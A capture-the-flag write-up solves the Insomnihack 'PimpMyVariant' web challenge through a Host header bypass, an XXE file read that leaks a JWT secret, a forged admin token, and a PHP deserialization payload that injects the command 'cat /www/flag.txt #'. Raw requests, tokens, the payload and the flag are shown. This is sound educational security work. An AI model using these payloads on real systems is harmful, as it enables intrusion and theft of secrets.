Rating:
# PimpMyVariant
Categories: Web
Description:
> Seen as it went, why not guess the next variant name : [pimpmyvariant.insomnihack.ch](pimpmyvariant.insomnihack.ch)
## Takeaways
* [HTTP Host header attacks](https://portswigger.net/web-security/host-header) and how to [identify them](https://portswigger.net/web-security/host-header/exploiting)
* In combination with the Host header attack, [these additional headers](https://portswigger.net/bappstore/ae2611da3bbc4687953a1f4ba6a4e04c) might had to be used in a more strict setting.
* [JWT (JSON Web Tokens)](https://jwt.io/#debugger-io) manipulation
* [XML External Entity (XXE) injection](https://portswigger.net/web-security/xxe)
* [Exploiting insecure deserialization](https://portswigger.net/web-security/deserialization/exploiting) in [PHP](https://github.com/nikosChalk/exploitation-training/blob/master/web-exploitation/php-specific.md#php-object-injection-aka-php-deserialization). We modify a serialized object provided to us by the server and also inject an additional one.
## Solution
When we visit the given challenge website, we are presented with a static webpage
![home.png](resources/home.png)
It is also running purely on HTTP and not HTTPS, for convenience. What we are seeing here are current covid-19 variants and potentially future variant names. These are taken from the greek alphabet, so a guess for the next variant name is "Kappa". But where shall we enter it?
The site is static and has no links. A common place to look for other endpoitns is `/robots.txt`
```
GET /robots.txt HTTP/1.1
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 31 Jan 2022 12:02:11 GMT
Content-Type: text/plain
Content-Length: 38
Last-Modified: Fri, 28 Jan 2022 20:53:26 GMT
Connection: close
ETag: "61f457c6-26"
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-transform
Feature-Policy: geolocation none;midi none;notifications none;push none;sync-xhr none;microphone none;camera none;magnetometer none;gyroscope none;speaker self;vibrate none;fullscreen self;payment none;
Accept-Ranges: bytes
/readme
/new
/log
/flag.txt
/todo.txt
```
So from this we get a bunch of endpoints and we also know that the server is running nginx. Let's try visiting those endpoints:
```html
GET /readme HTTP/1.1
HTTP/1.1 200 OK
<head>
<link rel="stylesheet" href="./dark-theme.css">
<title>PimpMyVariant</title>
</head><body>
<h1>Readme</h1>
Hostname not allowed
```
```html
GET /new HTTP/1.1
HTTP/1.1 200 OK
<html><head>
<link rel="stylesheet" href="./dark-theme.css">
<title>PimpMyVariant</title>
</head><body>
<h1>New variant</h1>
Hostname not autorized
```
```html
GET /log HTTP/1.1
HTTP/1.1 200 OK
<html><head>
<link rel="stylesheet" href="./dark-theme.css">
<title>PimpMyVariant</title>
</head><body>
<h1>Logs</h1>
Access restricted to admin only
```
```html
GET /flag.txt HTTP/1.1
HTTP/1.1 403 Forbidden
Try harder
```
```html
GET /todo.txt HTTP/1.1
HTTP/1.1 200 OK
test back
```
Response headers are similar to the first request, so we omit them from our analysis here. Two endpoints (`/readme`, `/new`) state that the "Hostname" is not allowed/authorized. The endpoint `/log` requires us to be admin while `/todo.txt` is accessible. The intuition here is to first bypass the Hostname defense and furthermore become admin to access the logs and potentially get the flag.
From the "Hostname" not allowed/authorized message we get the intuition that the request first goes through a load balancer which parses the `Host` HTTP request header before reaching a target back-end server. Tampering with it indeed allows us to bypass the defense:
```html
GET /readme HTTP/1.1
Host: 127.0.0.1
HTTP/1.1 200 OK
<html><head>
<link rel="stylesheet" href="./dark-theme.css">
<title>PimpMyVariant</title>
</head><body>
<h1>Readme</h1>
#DEBUG- JWT secret key can now be found in the /www/jwt.secret.txt file
```
```html
GET /new HTTP/1.1
Host: 127.0.0.1
HTTP/1.1 200 OK
<html><head>
<link rel="stylesheet" href="./dark-theme.css">
<title>PimpMyVariant</title>
</head><body>
<h1>New variant</h1>
<form method="post" enctype="application/x-www-form-urlencoded" id="variant_form">
Guess the next variant name : <input type="text" name="variant_name" id="variant_name" placeholder="inso-micron ?" />
<input type="submit" name="Bet on this" />
</form>
<script type="text/javascript">
document.getElementById('variant_form').onsubmit = function(){
var variant_name=document.getElementById('variant_name').value;
postData('/api', "<root><name>"+variant_name+"</name></root>")
.then(data => {
window.location.href='/';
});
return false;
}
async function postData(url = '', data = {}) {
return await fetch(url, {
method: 'POST',
cache: 'no-cache',
headers: {
'Content-Type': 'text/xml'
},
redirect: 'manual',
referrerPolicy: 'no-referrer',
body: data
});
}
</script>
</body></html>
```
So the `/readme` endpoint reveals us a secret JWT key in `/www/jwt.secret.txt`
```html
GET /www/jwt.secret.txt HTTP/1.1
Host: 127.0.0.1
HTTP/1.1 403 Forbidden
Try harder
```
It seems that we cannot simply retrieve it and we have to find another way. But we also unlocked the `/new` endpoint, which is a form submission for a new variant. The form is submitted in the `/api` endpoint and we seem to be able to control the full XML file that is being submitted. Let's try it out:
```html
POST /api HTTP/1.1
Host: pimpmyvariant.insomnihack.ch
<root><name>foobar</name></root>
HTTP/1.1 302 Found
Set-Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YXJpYW50cyI6WyJBbHBoYSIsIkJldGEiLCJHYW1tYSIsIkRlbHRhIiwiT21pY3JvbiIsIkxhbWJkYSIsIkVwc2lsb24iLCJaZXRhIiwiRXRhIiwiVGhldGEiLCJJb3RhIiwiZm9vYmFyIl0sInNldHRpbmdzIjoiYToxOntpOjA7Tzo0OlwiVXNlclwiOjM6e3M6NDpcIm5hbWVcIjtzOjQ6XCJBbm9uXCI7czo3OlwiaXNBZG1pblwiO2I6MDtzOjI6XCJpZFwiO3M6NDA6XCIxYzY1YTU3ZGYzYmRlMGIxZGYyYTljZDZkMmFhMjdjZTY1YTMxZDIyXCI7fX0iLCJleHAiOjE2NDM2MzIyMjN9.M9rJq2vBO5VErQgGxcyWcuMFxQ0rKSyneV9HqHkrdtM
Location: /
<root><sucess>Variant name added !</sucess></root>
GET / HTTP/1.1
Cookie: jwt=...
HTTP/1.1 200 OK
<html><head>
<link rel="stylesheet" href="./dark-theme.css">
<title>PimpMyVariant</title>
</head><body>
<h1>Variants list</h1>
Interesting, a lot of things are happening. Let's break it down:
* We have complete control over the XML file that is being submitted
* After `POST /api` the server tells us that the variant was successfully added and also sets a JWT (JSON Web Token) as a cookie. Then it redirects us to the home page `/`
* The homepage displays the `foobar` value that we submitted in the XML.
Since we have complete control over the XML file, we should attempt an [XXE attack](https://portswigger.net/web-security/xxe). Also, since the name is reflected in the homepage, the web app might also be susceptible to [XSS](https://portswigger.net/web-security/cross-site-scripting) attacks, but this is not interesting since no other user or admin is accessing the web app.
Let's also analyze the JWT that the server sent us:
```txt
# Header:
{
"alg": "HS256",
"typ": "JWT"
}
# Payload
{
"variants": [
"Alpha",
"Beta",
"Gamma",
"Delta",
"Omicron",
"Lambda",
"Epsilon",
"Zeta",
"Eta",
"Theta",
"Iota",
"foobar"
],
"settings": "a:1:{i:0;O:4:\"User\":3:{s:4:\"name\";s:4:\"Anon\";s:7:\"isAdmin\";b:0;s:2:\"id\";s:40:\"1c65a57df3bde0b1df2a9cd6d2aa27ce65a31d22\";}}",
"exp": 1643632223
}
# Signature
M9rJq2vBO5VErQgGxcyWcuMFxQ0rKSyneV9HqHkrdtM
```
The JWT token seems to include our covid-19 variant guess. The `settings` part is particularly interesting because it is a PHP deserialized object and the server could be vulnerable to PHP deserialization attacks. The fields `name` and `isAdmin` in the deserialized object seem promising.
Tampering with the token to become admin and trying to visit `/log` was not successful, probably because we need to also use JWT secret key. So let's try to use an XXE to leak `/www/jwt.secret.txt`
```html
POST /api HTTP/1.1
]>
<root>
<name>
&myentity;
</name></root>
HTTP/1.1 302 Found
Location: /
Set-Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YXJpYW50cyI6WyJBbHBoYSIsIkJldGEiLCJHYW1tYSIsIkRlbHRhIiwiT21pY3JvbiIsIkxhbWJkYSIsIkVwc2lsb24iLCJaZXRhIiwiRXRhIiwiVGhldGEiLCJJb3RhIiwiNTRiMTYzNzgzYzQ2ODgxZjFmZTdlZTA1ZjkwMzM0YWEiXSwic2V0dGluZ3MiOiJhOjE6e2k6MDtPOjQ6XCJVc2VyXCI6Mzp7czo0OlwibmFtZVwiO3M6NDpcIkFub25cIjtzOjc6XCJpc0FkbWluXCI7YjowO3M6MjpcImlkXCI7czo0MDpcImNmZDZkNDAxMDYxZWE0NTY5MWFmMDBjZTA0ZDYwOTcxYThmYWY1N2JcIjt9fSIsImV4cCI6MTY0MzYzMzQ4M30.YsJ-YihF2vjECIsLbakj1xD0_SL5QzbovYSGndiyD9A
<root><sucess>Variant name added !</sucess></root>
GET / HTTP/1.1
Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YXJpYW50cyI6WyJBbHBoYSIsIkJldGEiLCJHYW1tYSIsIkRlbHRhIiwiT21pY3JvbiIsIkxhbWJkYSIsIkVwc2lsb24iLCJaZXRhIiwiRXRhIiwiVGhldGEiLCJJb3RhIiwiNTRiMTYzNzgzYzQ2ODgxZjFmZTdlZTA1ZjkwMzM0YWEiXSwic2V0dGluZ3MiOiJhOjE6e2k6MDtPOjQ6XCJVc2VyXCI6Mzp7czo0OlwibmFtZVwiO3M6NDpcIkFub25cIjtzOjc6XCJpc0FkbWluXCI7YjowO3M6MjpcImlkXCI7czo0MDpcImNmZDZkNDAxMDYxZWE0NTY5MWFmMDBjZTA0ZDYwOTcxYThmYWY1N2JcIjt9fSIsImV4cCI6MTY0MzYzMzQ4M30.YsJ-YihF2vjECIsLbakj1xD0_SL5QzbovYSGndiyD9A
HTTP/1.1 200 OK
<html><head>
<link rel="stylesheet" href="./dark-theme.css">
<title>PimpMyVariant</title>
</head><body>
<h1>Variants list</h1>
And indeed the XXE worked! We manage to retrieve the secret key `54b163783c46881f1fe7ee05f90334aa` for the JWT token.
Now let's modify the [above JWT](https://jwt.io/#debugger-io?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YXJpYW50cyI6WyJBbHBoYSIsIkJldGEiLCJHYW1tYSIsIkRlbHRhIiwiT21pY3JvbiIsIkxhbWJkYSIsIkVwc2lsb24iLCJaZXRhIiwiRXRhIiwiVGhldGEiLCJJb3RhIiwiNTRiMTYzNzgzYzQ2ODgxZjFmZTdlZTA1ZjkwMzM0YWEiXSwic2V0dGluZ3MiOiJhOjE6e2k6MDtPOjQ6XCJVc2VyXCI6Mzp7czo0OlwibmFtZVwiO3M6NDpcIkFub25cIjtzOjc6XCJpc0FkbWluXCI7YjowO3M6MjpcImlkXCI7czo0MDpcImNmZDZkNDAxMDYxZWE0NTY5MWFmMDBjZTA0ZDYwOTcxYThmYWY1N2JcIjt9fSIsImV4cCI6MTY0MzYzMzQ4M30.YsJ-YihF2vjECIsLbakj1xD0_SL5QzbovYSGndiyD9A) and change `name` to `admin`, `isAdmin` to `1`, `exp` to a much later expiration date, and also use the above secret key to sign the token.
So let's use our [modified JWT](https://jwt.io/#debugger-io?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YXJpYW50cyI6WyJBbHBoYSIsIkJldGEiLCJHYW1tYSIsIkRlbHRhIiwiT21pY3JvbiIsIkxhbWJkYSIsIkVwc2lsb24iLCJaZXRhIiwiRXRhIiwiVGhldGEiLCJJb3RhIiwiNTRiMTYzNzgzYzQ2ODgxZjFmZTdlZTA1ZjkwMzM0YWEiXSwic2V0dGluZ3MiOiJhOjE6e2k6MDtPOjQ6XCJVc2VyXCI6Mzp7czo0OlwibmFtZVwiO3M6NTpcImFkbWluXCI7czo3OlwiaXNBZG1pblwiO2I6MTtzOjI6XCJpZFwiO3M6NDA6XCJjZmQ2ZDQwMTA2MWVhNDU2OTFhZjAwY2UwNGQ2MDk3MWE4ZmFmNTdiXCI7fX0iLCJleHAiOjI2NDM2MzM0ODN9.FslN9xPgQpkn1dFKwRZHQTa-lcyMAX7Q2CQfVG12hxc) to make a request to `/log` and bypass the admin check.
```html
GET /log HTTP/1.1
Host: 127.0.0.1
Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YXJpYW50cyI6WyJBbHBoYSIsIkJldGEiLCJHYW1tYSIsIkRlbHRhIiwiT21pY3JvbiIsIkxhbWJkYSIsIkVwc2lsb24iLCJaZXRhIiwiRXRhIiwiVGhldGEiLCJJb3RhIiwiNTRiMTYzNzgzYzQ2ODgxZjFmZTdlZTA1ZjkwMzM0YWEiXSwic2V0dGluZ3MiOiJhOjE6e2k6MDtPOjQ6XCJVc2VyXCI6Mzp7czo0OlwibmFtZVwiO3M6NTpcImFkbWluXCI7czo3OlwiaXNBZG1pblwiO2I6MTtzOjI6XCJpZFwiO3M6NDA6XCJjZmQ2ZDQwMTA2MWVhNDU2OTFhZjAwY2UwNGQ2MDk3MWE4ZmFmNTdiXCI7fX0iLCJleHAiOjI2NDM2MzM0ODN9.FslN9xPgQpkn1dFKwRZHQTa-lcyMAX7Q2CQfVG12hxc
HTTP/1.1 200 OK
<html><head>
<link rel="stylesheet" href="./dark-theme.css">
<title>PimpMyVariant</title>
</head><body>
<h1>Logs</h1>
<textarea style="width:100%; height:100%; border:0px;" disabled="disabled">
[2021-12-25 02:12:01] Fatal error: Uncaught Error: Bad system command call from UpdateLogViewer::read() from global scope in /www/log.php:36
Stack trace:
#0 {main}
thrown in /www/log.php on line 37
#0 {UpdateLogViewer::read}
thrown in /www/UpdateLogViewer.inc on line 26
</textarea>
</body></html>
```
Awesome! We bypassed the admin check. In the log, we see a PHP error and we also notice the file `/www/UpdateLogViewer.inc`. Let's try accessing it
```php
GET /UpdateLogViewer.inc HTTP/1.1
HTTP/1.1 200 OK
packgeName = $packgeName;
$this->logCmdReader = 'cat';
}
public static function instance() : UpdateLogViewer
{
if( !isset(self::$singleton) || self::$singleton === null ){
$c = __CLASS__;
self::$singleton = new $c("$c");
}
return self::$singleton;
}
public static function read():string
{
return system(self::logFile());
}
public static function logFile():string
{
return self::instance()->logCmdReader.' /var/log/UpdateLogViewer_'.self::instance()->packgeName.'.log';
}
public function __wakeup()// serialize
{
self::$singleton = $this;
}
};
```
We see that the `UpdateLogViewer` class implements the [PHP magic method](https://www.php.net/manual/en/language.oop5.magic.php) `__wakeup()` which is automatically invoked for a deserialzied object of this class. We also know from the `/log` messages that `/www/log.php` invokes `UpdateLogViewer::read()`.
We can create our own instance of `UpdateLogViewer` that will dump the `/www/flag.txt` file when `UpdateLogViewer::read()` is invoked. We can serialize this PHP object and embed it in the JWT token. When the server receives it, it will invoke the `__wakeup()` method and use our malicious object instead of the original one that it has.
We use the following snippet of PHP code to generate the appropriate PHP serialized object that will be placed inside the `settings` part of the JWT token.
```php
$x = UpdateLogViewer::instance();
$x->packgeName = '';
$x->logCmdReader = 'cat /www/flag.txt #';
$prefix = 'a:2:{i:0;O:4:"User":3:{s:4:"name";s:5:"admin";s:7:"isAdmin";b:1;s:2:"id";s:40:"cfd6d401061ea45691af00ce04d60971a8faf57b";}i:1;';
$suffix = '}';
print($prefix . serialize($x) . $suffix);
```
```php
a:2:{i:0;O:4:"User":3:{s:4:"name";s:5:"admin";s:7:"isAdmin";b:1;s:2:"id";s:40:"cfd6d401061ea45691af00ce04d60971a8faf57b";}i:1;O:15:"UpdateLogViewer":2:{s:10:"packgeName";s:0:"";s:12:"logCmdReader";s:19:"cat /www/flag.txt #";}}
```
We can use [this tool](https://www.unserialize.com) to verify that the above payload deserializes correctly. Let's also escape the double quote characters so that it is in a valid format for the JWT token.
```log
a:2:{i:0;O:4:\"User\":3:{s:4:\"name\";s:5:\"admin\";s:7:\"isAdmin\";b:1;s:2:\"id\";s:40:\"cfd6d401061ea45691af00ce04d60971a8faf57b\";}i:1;O:15:\"UpdateLogViewer\":2:{s:10:\"packgeName\";s:0:\"\";s:12:\"logCmdReader\";s:19:\"cat /www/flag.txt #\";}}
```
So, we create a [malicious JWT](https://jwt.io/#debugger-io?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YXJpYW50cyI6WyJBbHBoYSIsIkJldGEiLCJHYW1tYSIsIkRlbHRhIiwiT21pY3JvbiIsIkxhbWJkYSIsIkVwc2lsb24iLCJaZXRhIiwiRXRhIiwiVGhldGEiLCJJb3RhIiwiNTRiMTYzNzgzYzQ2ODgxZjFmZTdlZTA1ZjkwMzM0YWEiXSwic2V0dGluZ3MiOiJhOjI6e2k6MDtPOjQ6XCJVc2VyXCI6Mzp7czo0OlwibmFtZVwiO3M6NTpcImFkbWluXCI7czo3OlwiaXNBZG1pblwiO2I6MTtzOjI6XCJpZFwiO3M6NDA6XCJjZmQ2ZDQwMTA2MWVhNDU2OTFhZjAwY2UwNGQ2MDk3MWE4ZmFmNTdiXCI7fWk6MTtPOjE1OlwiVXBkYXRlTG9nVmlld2VyXCI6Mjp7czoxMDpcInBhY2tnZU5hbWVcIjtzOjA6XCJcIjtzOjEyOlwibG9nQ21kUmVhZGVyXCI7czoxOTpcImNhdCAvd3d3L2ZsYWcudHh0ICNcIjt9fSIsImV4cCI6MjY0MzYzMzQ4M30.2Hediv2wh6h8rvHPni9Dpram-wjVfl_hNOsd6YxBXGQ) this time and send it to the server when accessing `/log`
```html
GET /log HTTP/1.1
Host: 127.0.0.1
Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2YXJpYW50cyI6WyJBbHBoYSIsIkJldGEiLCJHYW1tYSIsIkRlbHRhIiwiT21pY3JvbiIsIkxhbWJkYSIsIkVwc2lsb24iLCJaZXRhIiwiRXRhIiwiVGhldGEiLCJJb3RhIiwiNTRiMTYzNzgzYzQ2ODgxZjFmZTdlZTA1ZjkwMzM0YWEiXSwic2V0dGluZ3MiOiJhOjI6e2k6MDtPOjQ6XCJVc2VyXCI6Mzp7czo0OlwibmFtZVwiO3M6NTpcImFkbWluXCI7czo3OlwiaXNBZG1pblwiO2I6MTtzOjI6XCJpZFwiO3M6NDA6XCJjZmQ2ZDQwMTA2MWVhNDU2OTFhZjAwY2UwNGQ2MDk3MWE4ZmFmNTdiXCI7fWk6MTtPOjE1OlwiVXBkYXRlTG9nVmlld2VyXCI6Mjp7czoxMDpcInBhY2tnZU5hbWVcIjtzOjA6XCJcIjtzOjEyOlwibG9nQ21kUmVhZGVyXCI7czoxOTpcImNhdCAvd3d3L2ZsYWcudHh0ICNcIjt9fSIsImV4cCI6MjY0MzYzMzQ4M30.2Hediv2wh6h8rvHPni9Dpram-wjVfl_hNOsd6YxBXGQ
HTTP/1.1 200 OK
<html><head>
<link rel="stylesheet" href="./dark-theme.css">
<title>PimpMyVariant</title>
</head><body>
<h1>Logs</h1>
<textarea style="width:100%; height:100%; border:0px;" disabled="disabled">
[2021-12-25 02:12:01] Fatal error: Uncaught Error: Bad system command call from UpdateLogViewer::read() from global scope in /www/log.php:36
Stack trace:
#0 {main}
thrown in /www/log.php on line 37
#0 {UpdateLogViewer::read}
thrown in /www/UpdateLogViewer.inc on line 26
WNNNNWW
WWWNXXXXXNW
NK00OOOOOOOKW
NK00OOOOOKXW WW WW
NXK000OO0KNW WWWWWW WWWNWWWWW
WK0O0N WNK0OOOXW WK0OOOO0XNW
NK00KW WWNK0KNW WX0OOOkOOON
WWWWWWWW X0OKW XOKW WX0OO000O0N
WWNX00XW X00O0NW WWNK0XW WX0OOKXXXNW
NKKO00X WNXKOOkkOOOOOOOOOOOOOOKKKKXXXNNW WNKOOKNWWWW
NXK00OKWWWWNXKK0OOOOOOOOOOOOOOOOOOOOO0KKXXXNWWNKOO0XW W
WN0O0000OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0OOO0XW WNNNW
WWWW WNX0OkOOkkOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOkkkOOO0KXW WN0O00N
WWWNNW WWWNNX0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOkOKXNWWWWNXK000X
NK0OOX WWX000OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOk0KXXK00XNNNW
X00OOOOKXNWX000OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOKNW
NK00KKKKKKKK00OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOKWW WWNWW
WWWWWWXK0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0NW WNXXNW
WWW NX0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOkOKNW WN00OOXW
WNNXKXW WNKOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0KXNWNXXKOOO0NW
NK0OOOX WNKOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO00OO00O00OKW
WNKOOOOOO0KXNNWWWNX0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0XW WWNNWW
WNKOOOOO00KXXKXXXX0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOk0NW WNW
WNKOOOO0XKK0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOk0W
WNNNW WW WNKOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0KW WX00OOXW
WWWW WNKOOOOOOkkkOOOOOOOOOOOOOOOkOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOkk0XNNNWWWNNXK0OOOKNW
WKOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0KXNNXXK00OOOO0XW
WKkOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOxxO00000O0OOOOOXW
WNXNNNWNOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO ############### OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOxkKXXXXXXXK0OOOKN
WX0KXNNXOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO # 1NS0MN1H4CK # OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOxKW WNK0OOXW
WX0O0XNKOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO ############### OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOKKN
WNXKXWWN0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOkXWXNW
WW WX0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0NW
WK0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOKXXNXXKKNW
WX0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO00KNXXX0O0NW
WWKOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0XNXXK0Ok0NW
WX00KXNNXK0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOX WNXXNW
WXOkO000KKKXXXX00OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0XW WWWWW
WX0OOOOO0KNW WX00OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOKW
WX0OOOKW WNKOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0XW
WWNXXXNW WXKOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0000KKKXXNNXXXXNW
WWWW NX0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0KK0O00KXXK00KNW
WNK0OOkO0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOKNW WWX0OOOOk0NW
WNXK00KXNNXK0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOkO0KXNW WKOOOOOKXW
WW WWW WWN00OOKXW WXK00OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOkO00XW X00OO0XW
WX0OkO0OOOOXWW WX0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0NW WWNNWW
WK0OOOkOOOXW WX0O0KXXXKK000OOOOOOOOOOOOOOOOOOOOOOkO00KXXNX0O0KNW
WX00OOOOOOX WWW WKO0KNW WNXXK0O00OOOOOOOOOOOOOOOOOOOOOKXNWWWNXKO0NWWW W
WNK0OOOO0N XOO00OkOXW WNX0OOO0XNNNNNWWWWWX00X WKOO0XXNNNW
WWWNNNXNNW NK0OO0OOKNW WXOOKNW WW WX0kOKXN NX0OOO000KN
W WXK000OO0KNW XOOXW WKOOO0XN WKOOOOOO0KN
WNNNNW WNK00N WXXXNW WX0OOO00KNW
WWWW WX0O0N WWWWWW WWWWNNWW
WWWX0OOOKW
N00OOOOOk0XW
WK00O0OOk0XW
WX0000000KXW
The flag is INS{P!mpmYV4rianThat's1flag}
</textarea>
</body></html>
```
We are presented with some cool ASCII art and also the flag! We effectively have an RCE on the web server!
`INS{P!mpmYV4rianThat's1flag}`